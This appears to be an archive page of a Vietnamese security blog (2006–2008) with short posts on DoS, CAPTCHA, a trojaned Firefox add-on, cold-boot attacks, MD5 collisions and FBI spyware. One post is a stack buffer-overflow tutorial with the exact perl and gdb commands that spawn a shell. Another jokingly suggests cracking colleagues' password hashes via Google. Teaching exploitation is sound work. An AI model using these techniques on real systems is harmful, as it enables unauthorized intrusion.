Thư viện bài, chủ đề ‘Bảo mật và mật mã học’

Loại DoS Mới

Ngô Quang Hưng | 01 tháng 10, 2008 | Bản để in Bản để in

Theo Tin

SEPTEMBER 30, 2008 | 2:45 PM — Things are a-brewin’ in Sweden. Sweden is not just home of the infamous bikini team, it is also the home of Outpost 24, an equally sexy software-as-a-service network scanning service, and the employer of my friend Robert E. Lee and his colleague Jack C. Louis. These guys are the inventors of UnicornScan, a user-land TCP stack turned into a port scanner. Never heard of it? Use Nmap exclusively? Well if you run Linux, I suggest checking it out, especially if missed ports in your portscan is inexcusable. But I digress.

Robert and Jack are smart dudes. I’ve known them for years, and they’ve always been one step ahead of the game. A couple of years ago, Jack found some anomalies in which machines would stop working in some very specific circumstances while being scanned. A few experiments, tons of reading through documentation, and one mysteriously named tool called “sockstress” later, and the two are now touting a nearly universal denial-of-service (DOS) attack that can be performed on almost any normal broadband Internet connection — in just a few seconds.

How bad is it? Well, in an interview — fast-forward five minutes in to hear it in English), the two were asked if they could take out a data center. While they’ve never tried, it appears to be a totally plausible attack. Worse yet, unlike most DOS attacks, the machines often do not come back online once the attack is over. The victim system just doesn’t respond any more. Great, huh?

Chủ đề: Bảo mật và mật mã học | Bình luận »

Phát triển và lụi tàn của CAPTCHA

Ngô Quang Hưng | 16 tháng 07, 2008 | Bản để in Bản để in

Một bài viết thú vị từ Computer World. Ngoài reCAPTCHA3-D CAPTCHA ra, còn ý tưởng nào khác giải quyết vụ này không? Một số dự án đề nghị users giải toán vi tích phân gì đó (thay vì điền chữ như CAPTCHA). Dĩ nhiên, máy tính sẽ tốt hơn người trong tác vụ tính tích phân :-).

Đây là một đề tài rất hấp dẫn, xứng đáng một vài luận án tiến sĩ. Có một cái vòng luẩn quẩn: ta muốn dùng máy và thuật toán AI để sản sinh ra các objects mà người dễ nhận ra còn máy thì không. Trong khi đó, mục tiêu cuối cùng của AI lại là tối thiểu hóa khoảng cách giữa máy và người. Do đó, AI càng phát triển thì bài toán này càng khó giải quyết dùng AI. Dân làm mật mã sẽ bảo: dùng một authentication scheme nào đó. Nhưng vấn đề privacy sẽ nảy sinh.

Một tin không liên quan: giáo sư Papert, người bị đụng xe ở Hà Nội hồi 2006 và bất tỉnh cả tháng trời đang … học để trở thành Papert trở lại.

Chủ đề: Bảo mật và mật mã học & Trí tuệ nhân tạo | Bình luận (3) »

Firefox gói tiếng Việt có Trojan

Ngô Quang Hưng | 08 tháng 05, 2008 | Bản để in Bản để in

Theo Slashdot:

“Wired.com is reporting that the Firefox browser has been unknowingly distributing a trojan with the Firefox Vietnamese language pack. Over 16,000 downloads of the pack occurred since being infected. This highlights a risk on relying on user-submitted Firefox extensions, or a lack of peer-review of the extensions, many of which receive frequent upgrades.”

Dường như là chỉ những ai download cái add-on này kể từ ngày 18 tháng 2 vừa rồi thì mới bị:

Mozilla had no exact statistics on the number of users who had installed the infected Vietnamese language add-on since it was uploaded on February 18, but said that 16,667 people had downloaded the add-on since November 2007.

Hậu quả là thế nào?

The add-on’s author is not suspected of intentionally booby-trapping the file, but instead had his own system infected. That Trojan inserted a banner-ad displaying script into any html file on his system, which included the help files for the language pack.

That meant that anyone installing the language pack would have malicious ad displaying code inside their browser — which could be used for other exploits.

The Vietnamese language pack has been pulled until a clean replacement is uploaded. Existing users should uninstall the add-on in the meantime.

Chủ đề: Bảo mật và mật mã học | Bình luận »

Blog KHMT gây hại?

Ngô Quang Hưng | 21 tháng 04, 2008 | Bản để in Bản để in

Trích hai thông báo của các bạn Thắng và Little_Cat:

Em vào Blog KHMT bằng Firefox thì bị block với thông báo “Reported Attack Site”. Em vào bằng IE thì Symantec Antivirus quét ra “Downloader”. Anh Hưng lúc nào có thời gian có thể check lại được không ạ :

Ho^m nay em cu~ng tha^’y google.com.vn ca?nh ba’o trang web na`y co’ the^? ga^y ha.i cho ma’y ti’nh :

Tôi không biết nguyên nhân từ đâu ra. Có mấy câu hỏi thế này:

  • Có bạn nào ở nước ngoài mà cũng bị tình trạng này không?
  • “Downloader” nghĩa là gì?

Có khả năng nào wordpress có bugs, sau đó có ai đó tận dụng được bug này để đổi scripts trong base-installation của blog? Tôi không biết giải pháp gì hay hơn là cài một phiên bản wordpress mới.

Cập nhật: tôi vừa update lên phiên bản mới nhất của Wordpress; bác nào thấy vẫn bị vấn đề như kể trên hoặc bất kỳ vấn đề nào khác thì xin cho biết. Đa tạ!

Chủ đề: Bảo mật và mật mã học | Bình luận (9) »

Tắt điện, bộ nhớ động còn nội dung không?

Ngô Quang Hưng | 26 tháng 02, 2008 | Bản để in Bản để in

Nếu còn thì làm thế nào để lấy nội dung bộ nhớ (sau khi tháo nó ra khỏi mainboard)?

Xem ở đây:

Abstract Contrary to popular assumption, DRAMs used in most modern computers retain their contents for seconds to minutes after power is lost, even at operating temperatures and even if removed from a motherboard. Although DRAMs become less reliable when they are not refreshed, they are not immediately erased, and their contents persist sufficiently for malicious (or forensic) acquisition of usable full-system memory images. We show that this phenomenon limits the ability of an operating system to protect cryptographic key material from an attacker with physical access. We use cold reboots to mount attacks on popular disk encryption systems — BitLocker, FileVault, dm-crypt, and TrueCrypt — using no special devices or materials. We experimentally characterize the extent and predictability of memory remanence and report that remanence times can be increased dramatically with simple techniques. We offer new algorithms for finding cryptographic keys in memory images and for correcting errors caused by bit decay. Though we discuss several strategies for partially mitigating these risks, we know of no simple remedy that would eliminate them.

(biết qua Freedom to Tinker.)

Chủ đề: Bảo mật và mật mã học | Bình luận (2) »

Đoán đúng kết quả bầu cử tổng thống Mỹ

Ngô Quang Hưng | 12 tháng 12, 2007 | Bản để in Bản để in

năm 2008, bằng cách tạo MD5-hash collisions, không phải 1 cặp documents collide với nhau mà đến 12 documents (mỗi document cho một ứng viên tổng thống) có hash values giống hệt nhau.

Dành cho các bạn đọc không phải dân máy tính: tờ economist có bài tóm tắt kết quả này.

Chủ đề: Bảo mật và mật mã học | Bình luận (1) »

Dùng Google để crack password

Ngô Quang Hưng | 20 tháng 11, 2007 | Bản để in Bản để in

Câu chuyện này rất tếu và hay. Một sys admin biết hệ thống bị hacked. Hacker tạo một account. Sys admin không biết password của account nọ. Dĩ nhiên, hắn biết MD5-image của password. Làm thế nào để tìm pre-image của một hash function? Google!

Hah. Một chú khác thấy trò này vui tạo cả một webpage chơi. Nếu bạn muốn thử, gõ password của bạn vào. Website này tạo MD5-image của password và cho bạn một cái link tìm trên Google. Nếu tìm thấy thì password của bạn đã có người dùng, và tìm pre-image chỉ đơn giản là một Google search. Có cả một database của MD5-images để bạn tìm ngược lại các passwords.

Bài học: duyệt qua /etc/password trong hệ thống của trường/sở bạn đang học/làm việc. Tìm pre-images bằng Google. Thế nào cũng tìm ra một vài passwords mà không cần viết script duyệt từ điển gì hết. Bị phạt tôi không chịu trách nhiệm.

Chủ đề: Bảo mật và mật mã học | Bình luận (4) »

Kẻ cắp gặp bà già

Ngô Quang Hưng | 18 tháng 07, 2007 | Bản để in Bản để in

FBI dùng spyware bắt một chú nhóc

FBI agents trying to track the source of e-mailed bomb threats against a Washington high school last month sent the suspect a secret surveillance program designed to surreptitiously monitor him and report back to a government server, according to an FBI affidavit obtained by Wired News.

The software was sent to the owner of an anonymous MySpace profile linked to bomb threats against Timberline High School near Seattle. The code led the FBI to 15-year-old Josh Glazebrook, a student at the school, who on Monday pleaded guilty to making bomb threats, identity theft and felony harassment.

In an affidavit seeking a search warrant to use the software, filed last month in U.S. District Court in the Western District of Washington, FBI agent Norman Sanders describes the software as a “computer and internet protocol address verifier,” or CIPAV.

Việc FBI lây spywares vào máy của các nghi phạm sẽ dẫn đến một song đề: một công ty viết chương trình scan spyware có la toáng lên nếu thấy spyware của FBI không? (Nếu ta thấy chú nào cầm súng vung vẩy ngoài ngã tư thì ta gọi cảnh sát, nhưng nếu chú ấy là FBI thì … chắc là không cần gọi cảnh sát.)

With the FBI in the business of hacking, security companies are in a tight place. Thompson’s LinkScanner product, for example, scans web pages for security exploits, and warns the customer if one is found. How would his company respond if the FBI asked him to turn a blind eye to CIPAV? He says he’s never fielded such a request. “That would put us in a very difficult position,” Thompson says. “I don’t know what I’d say.”

Chủ đề: Bảo mật và mật mã học | Bình luận »

Kinh tế của bảo mật thông tin

Ngô Quang Hưng | 10 tháng 02, 2007 | Bản để in Bản để in

Bài survey mới (Ross Anderson and Tyler Moore) về kinh tế của bảo mật thông tin. Một phiên bản ngắn hơn đã đăng ở Science. (Biết qua Schneier on Security.)

Chủ đề: Bảo mật và mật mã học | Bình luận (2) »

Lỗi tràn bộ đệm [11]: dùng biến môi trường

Ngô Quang Hưng | 05 tháng 01, 2007 | Bản để in Bản để in

Lần trước ta đã biết cách khai thác chương trình có buffer dài bằng cách bỏ shellcode vào buffer này dùng dòng lệnh trên *nix và perl. Lần này ta xét đến trường hợp buffer bị tràn rất bé, không đủ để bỏ shellcode vào. (Nếu bỏ vào thì có khả năng shellcode tràn luôn vào return address.) Nhớ lại ví dụ buffer ngắn đã xét:

/*
 * vuln_sb.c : This is a vulnerable program with a short buffer
 */
#include <stdio.h>

int main(int argc, char **argv) {
  char buffer[5];
  if (argv[1] != NULL) {
    strcpy(buffer, argv[1]);
  }
  return 0;
}

Một trong những nơi có thể bỏ được shellcode là các biến môi trường (environment variable). Tùy theo bạn dùng shell gì, tôi dùng bash và có thể đơn giản làm như sau. (Nhớ rằng ex10 là đoạn bytecode gọi một shell:

[NQH] hanoi:~/BO$ export CSE=`perl -e ‘print “\x90″x100;’“cat ex10`

Sau khi đặt shellcode vào biến môi trường MSC rồi (MSC viết tắt của “my shellcode” cho gọn), ta phải biết địa chỉ của CSE ở đâu để trỏ return address vào đó. Có vài cách để biết MSC nằm ở địa chỉ nào.

Cách 1: dùng gdb như sau.

[NQH] hanoi:~/BO$ gdb vuln_sb
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i386-linux”…Using host libthread_db library “/lib/libthread_db.so.1″.

(gdb) break main
Breakpoint 1 at 0×804838a
(gdb) run
Starting program: /home/hungngo/BO/vuln_sb

Breakpoint 1, 0×0804838a in main ()
(gdb) x/20s $esp
0xbffff811:      “”
0xbffff812:      “”
0xbffff813:      “”
0xbffff814:      “Ï­”
0xbffff817:      “@t\\215\\024@ál\\001@\\001″
0xbffff822:      “”
…. ## a bunch of stuff here
0xbffffeaf:      “MSC=”, ‘\\220′ <repeats 100 times>,
“<8b>\\024[1Á\\210C\\a\\215K\\b\\211\\031\\211A
\\0041Ó<97>\\vÍ\\200<88><87><90
><90><90>/bin/shX----++++"
... ## a bunch of stuff here
(gdb) quit
The program is running.  Exit anyway? (y or n) y
[NQH] hanoi:~/BO$

Như vậy, MSC nằm ở địa chỉ 0xbffffeaf. Ta thử trỏ return address vào địa chỉ này:

[NQH] hanoi:~/BO$ vuln_sb `perl -e ‘print “\xaf\xfe\xff\xbf”x20′`
Segmentation fault

Không được vì địa chỉ của MSC khi chạy trong môi trường gdb sẽ hơi khác khi chạy một mình một chút. Xê dịch lên xuống (nhớ rằng ta có đoạn NOP-sled bảo kê), và ta có:

[NQH] hanoi:~/BO$ vuln_sb `perl -e ‘print “\xbf\xfe\xff\xbf”x20′`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$

Thành công rồi! Dùng gdb thì đơn giản nhưng mất công quá.

Cách 2: Cách dễ hơn là viết một chương trình khác, in ra xem MSC nằm đâu. Trong memory space của chương trình khác này và chương trình vuln_sb.c thì địa chỉ của MSC sẽ không khác nhau là mấy khi chạy trong cùng một shell với cùng bộ biến môi trường. Cái chương trình in ra địa chỉ của MSC có thể viết như sau:

/*
 * my_get_env.c : Print address of the given environment variable
 */
#include <stdlib.h>

int main(int argc, char **argv) {
  char *addr;
  if (argc < 2) {
    printf("Usage: %s <env var name>\n", argv[0]);
  } else {
    addr = getenv(argv[1]);
    if (addr == NULL) {
      printf("The environment variable %s does not exist\\n", argv[1]);
    } else {
      printf("%s is located at %p\\n", argv[1], addr);
    }
  }
  return 0;
}

Chạy thử:

[NQH] hanoi:~/BO$ gcc -g my_get_env.c -o my_get_env
[NQH] hanoi:~/BO$ ./my_get_env MSC
MSC is located at 0xbffffeb0
[NQH] hanoi:~/BO$ 

Như vậy, MSC nằm ở 0xbffffeb0 đối với my_get_env. MSC đối với vuln_sb cũng sẽ nằm đâu gần đó. Thử xê dịch nó lên một chút là được:

[NQH] hanoi:~/BO$ vuln_sb `perl -e ‘print “\xb0\xfe\xff\xbf”x20;’`
Segmentation fault
[NQH] hanoi:~/BO$ vuln_sb `perl -e ‘print “\xba\xfe\xff\xbf”x20;’`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$ 

Nhưng cứ phải thử xê dịch lung tung như vậy thì cũng chưa hay. Ta có thể bắn một phát trúng đích ngay. Chú ý các thí nghiệm sau đây:

[NQH] hanoi:~/BO$ mv my_get_env a
[NQH] hanoi:~/BO$ ./a MSC
MSC is located at 0xbffffec2
[NQH] hanoi:~/BO$ mv a aa
[NQH] hanoi:~/BO$ ./aa MSC
MSC is located at 0xbffffec0
[NQH] hanoi:~/BO$ mv aa aaa
[NQH] hanoi:~/BO$ ./aaa MSC
MSC is located at 0xbffffebe
[NQH] hanoi:~/BO$ 

Địa chỉ của MSC dường như thay đổi theo độ dài của tên chương trình. Với độ dài tăng từ 1 lên 2 bytes thì địa chỉ giảm từ 0xbffffec2 xuống 0xbffffec0, sau đó tăng lên 3 bytes thì địa chỉ của MSC giảm xuống còn 0xbffffebe. Tính theo thập phân thì c2 xuống c0 là 2 bytes, c0 xuống be là 2 bytes nữa. Như vậy, nếu chương trình vuln_sb có chiều dài 7 bytes thì ta đoán là địa chỉ của MSC sẽ bị giảm thêm 8 bytes nữa từ 0xbffffebe xuống 0xbffffeb7. Thử ngay:

[NQH] hanoi:~/BO$ vuln_sb `perl -e ‘print “\xb7\xfe\xff\xbf”x20;’`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$ 

Tuyệt vời!

Như vậy là cho đến bài viết này, ta đã tạm thời giải quyết được hai vấn đề: (1) vấn đề NULL byte và (2) đặt shellcode ở chỗ nào. Như đã viết, có đến 4 vấn đề cơ bản. Hai vấn đề còn lại là: (3) tránh signature detection, và (4) cái stack không execute được. Trong các bài tới tôi sẽ trình bày một số cách giải quyết các vấn đề này.

Chủ đề: Bảo mật và mật mã học | Bình luận (4) »

Hậu quả của việc thuê hacker

Ngô Quang Hưng | 28 tháng 12, 2006 | Bản để in Bản để in

Một phụ tá truyền thông của nghị sĩ bang Montana tìm cách thuê một hacker hack vào database của trường anh ta để đổi điểm GPA. Kết quả là hacker này post toàn bộ nội dung trao đổi (22 emails) lên mạng. Trong các trao đổi này, tay “hacker” chơi xỏ anh chàng phụ tá xấu số. Hài cực!

Hacker: Hey, squirrels work fine. First, let’s be clear. You are soliciting me to break the law and hack into a computer across state lines. That is a federal offense and multiple felonies. Obviously I can’t trust anyone and everyone that mails such a request, you might be an FBI agent, right?

So, I need three things to make this happen:

1. A picture of a squirrel or pigeon on your campus. One close-up, one with background that shows buildings, a sign, or something to indicate you are standing on the campus.

2. The information I mentioned so I can find the records once I get into the database.

3. Some idea of what I get for all my trouble

Phụ tá: OK. The pictures might take me a little while as I’ve been out of school for a few years and I don’t live in
that state anymore. I will supply the other info with the pictures unless you request otherwise. What is a typical fee for this kind of work? Understanding the risk involved to both of us, I want to adequately take care of you, but I’d also like to know if you’ve ever
performed a similiar task before. A simple yes or no would suffice,I don’t need or want details. Most importantly, as I’m sure you have the skill, but do you have the necessary technology to do this without drawing attention to either of us?

(Biết qua Schneier on Security)

Chủ đề: Bảo mật và mật mã học & Vui - Giải Trí | Bình luận (2) »

Dùng Google để khám phá mình bị … hacked

Ngô Quang Hưng | 04 tháng 12, 2006 | Bản để in Bản để in

Câu chuyện này đang khá rôm rả mấy hôm nay. Talkorigins.org là một trong các websites tôi thích nhất. Bọn spammers chết tiệt.

Chủ đề: Bảo mật và mật mã học | Bình luận »

Hacking nền dân chủ

Ngô Quang Hưng | 13 tháng 11, 2006 | Bản để in Bản để in

Tôi vừa xem xong phim tài liệu Hacking Democracy của HBO. Phim nói về các công nghệ làm các máy bầu cử và tính bảo mật rất kém của đa phần các máy này, đặc biệt là các máy của công ty Diebold. Sau vụ tai tiếng về các hanging chads ở Florida năm 2000 (kỳ Gore đấu Bush), các tiểu bang Mỹ có xu hướng chuyển sang điện toán hóa bầu cử. Chuyển công nghệ mới mà không test cẩn thận là một sai lầm nghiêm trọng.

Tính bảo mật kém của các máy bầu cử không phải là chuyện mới gì. Rất nhiều các nhà nghiên cứu đã viết bài và nghiên cứu cảnh báo: vài bài của Bruce Schneier, bài của Avi Rubin, bài của Felton, vân vân. Vì thế tôi không ngạc nhiên khi xem các dữ liệu trình bày trong phim. Tuy nhiên, tôi rất cảm phục tấm lòng và sự bền bỉ của các activists trong phim! Một đoạn nữa cũng đáng chú ý là CEO của Diebold đã có một statement ghi rằng ông ta sẽ “deliver the votes for Bush”.

Như mọi thứ khác trên đời, “Hacking Democracy” đã có trên Youtube.

Chủ đề: Bảo mật và mật mã học | Bình luận »

Vừa ăn cướp vừa la làng

Ngô Quang Hưng | 30 tháng 10, 2006 | Bản để in Bản để in

Theo Washington Post:

The goal for the spammers is efficiency — they want to ensure their bot networks are not cluttered with competing malware that might otherwise slow the machines to a crawl and alert the victims to a problem.

A new class of bot programs seeks to accomplish that task by downloading and installing a pirated version of Kaspersky Anti-virus, according to research published by Joe Stewart, a researcher for Atlanta-based SecureWorks.

Sẽ thú vị biết mấy nếu đến lúc nào đó có một virus “méc” user về một virus khác!

Chủ đề: Bảo mật và mật mã học | Bình luận »

Đi tìm lý thuyết … băm

Ngô Quang Hưng | 27 tháng 10, 2006 | Bản để in Bản để in

Susan Landau có một bài viết rất súc tích về sự thiếu lý thuyết toán cho các secured hash functions, đi từ DES, MD4, MD5, AES, SHA-0, SHA-1, RIPEMD-160, đến SHA-256, SHA-512, cùng bài báo nổi đình nổi đám (vì vụ không xin được visa) của Xiaoyun Wang. Bài giới thiệu các sách gần đây về cryptography của bà trên Bulletin of the AMS đọc cũng được.

Chủ đề: Bảo mật và mật mã học | Bình luận »

Các bài kế »